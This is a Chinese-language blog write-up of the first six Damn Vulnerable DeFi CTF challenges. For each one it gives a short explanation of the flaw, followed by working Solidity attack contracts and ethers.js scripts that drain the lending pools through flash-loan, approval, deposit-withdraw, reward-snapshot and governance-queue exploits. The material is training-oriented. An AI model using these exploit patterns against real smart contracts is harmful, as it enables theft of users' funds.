【damnvulnerabledefi】ctf挑战1-6

ctf网址:https://www.damnvulnerabledefi.xyz/

第一题:unstoppable

代码中定义变量来记录tokenbalance来判断是否与当前balance相等,如果调用token的transfer发送给pool一点token就会让判断失败flashLoan函数就会恒定失败无法完成。

exp代码:

await this.token.connect(attacker).transfer(this.pool.address,INITIAL_ATTACKER_TOKEN_BALANCE);

第二题:Naive receiver
合约FlashLoanReceiver只判断了msg.sender是否等于pool。
所以通过调用10次闪电贷合约borrower地址填写FlashLoanReceiver地址就可以将FlashLoanReceiver内的eth清空,
exp代码:
合约代码:

import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract AttackNaiveReceiver {
    NaiveReceiverLenderPool pool;

    constructor(address payable _pool) {
        pool = NaiveReceiverLenderPool(_pool);
    }

    function attack(address victim) public {
        for (int i=0; i < 10; i++ ) {
            pool.flashLoan(victim, 1 ether);
        }
    }
    
}

利用代码:

 const AttackFactory = await ethers.getContractFactory("AttackNaiveReceiver", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(this.receiver.address);

第三题:Truster
TrusterLenderPool 合约中闪电贷可以调用任意合约的任意函数。通过让合约调用token的approve函数来授权给attacker,再通过transferfrom将token转移给自己就能将token收走。
exp代码:

	const abi = ["function approve(address spender, uint256 amount)"]
	const iface = new ethers.utils.Interface(abi);
	const data = iface.encodeFunctionData("approve", [attacker.address, ethers.constants.MaxUint256]);
    await this.pool.flashLoan(0, attacker.address, this.token.address, data);
   	await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);

第四题:SideEntrance
合约SideEntranceLenderPool中闪电贷函数没什么问题,但有一个deposit函数可以将eth再放回合约,通过flashLoan后再调用withdraw函数即可将合约中的eth转移给attacker。
exp代码:
合约代码:

import "./SideEntranceLenderPool.sol";

contract AttackSideEntrance{
    SideEntranceLenderPool pool;
    address owner;
    constructor(address payable _pool) {
        pool = SideEntranceLenderPool(_pool);
        owner = payable(msg.sender);
    }
    function execute()public payable{
        pool.deposit{value:address(this).balance}();
    }
    function attack(uint256 amount) public payable{
        pool.flashLoan(amount);
        pool.withdraw();
    }
    receive () external payable {
        payable(owner).transfer(address(this).balance);
    }
}

利用代码:

const AttackFactory = await ethers.getContractFactory("AttackSideEntrance", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(ETHER_IN_POOL);

第五题:The rewarder
在新的一轮中如果第一个调用distributeRewards就能执行accToken.snapshot()设置balance并且根据token数量的百分比分配token,而在deposit中有distributeRewards函数。如果通过闪电贷借大量token再deposit就能拿到新一轮的大量token。
exp代码:

import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../DamnValuableToken.sol";
contract AttackReward {
    FlashLoanerPool pool;
    DamnValuableToken public immutable liquidityToken;
    TheRewarderPool rewardPool;
    address payable owner;
    constructor(
        address poolAddress,
        address liquidityTokenAddress,
        address rewardPoolAddress,
        address payable _owner
    ) {
        pool = FlashLoanerPool(poolAddress);
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
        rewardPool = TheRewarderPool(rewardPoolAddress);
        owner = _owner;
    }

    function attack(uint256 amount) external {
        pool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external {
       
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(pool), amount);
        uint256 currBal = rewardPool.rewardToken().balanceOf(address(this));
        rewardPool.rewardToken().transfer(owner, currBal);
    }
}

利用代码:

const AttackRewardFactory = await ethers.getContractFactory("AttackReward", attacker);
        const attackContract = await AttackRewardFactory
        .deploy(
            this.flashLoanPool.address, 
            this.liquidityToken.address, 
            this.rewarderPool.address,
            attacker.address)
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        await attackContract.attack(TOKENS_IN_LENDER_POOL);

第六题:Selfie
函数queueAction可以提交执行请求并且2天后通过执行executeaction执行任意函数,闪电贷借取大于1/2总数的token,并调用token的Snapshot后提交drainAllFunds的请求并在2天后执行就能提取SelfiePool所用的token;
exp代码:
合约代码:

import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract AttackSelfie {
    SelfiePool pool;
    DamnValuableTokenSnapshot public governanceToken;
    address owner;
    constructor(
        address poolAddress,
        address governanceTokenAddress,
        address _owner
    ) {
        pool = SelfiePool(poolAddress);
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        owner = _owner;
    }

    function attack() public {
        uint256 amountToBorrow = pool.token().balanceOf(address(pool));
        pool.flashLoan(amountToBorrow);
    }

    function receiveTokens(address token, uint256 amount) external {
        governanceToken.snapshot();
        pool.governance().queueAction(
            address(pool),
            abi.encodeWithSignature("drainAllFunds(address)", owner),
            0
        );
        governanceToken.transfer(address(pool), amount);
    }
}

利用代码:

const AttackFactory = await ethers.getContractFactory("AttackSelfie", attacker);
        const attackContract = await AttackFactory.deploy(this.pool.address, this.token.address, attacker.address);
        await attackContract.attack();
        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
        const attackGovernenceContract = this.governance.connect(attacker);
        await attackGovernenceContract.executeAction(1);
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值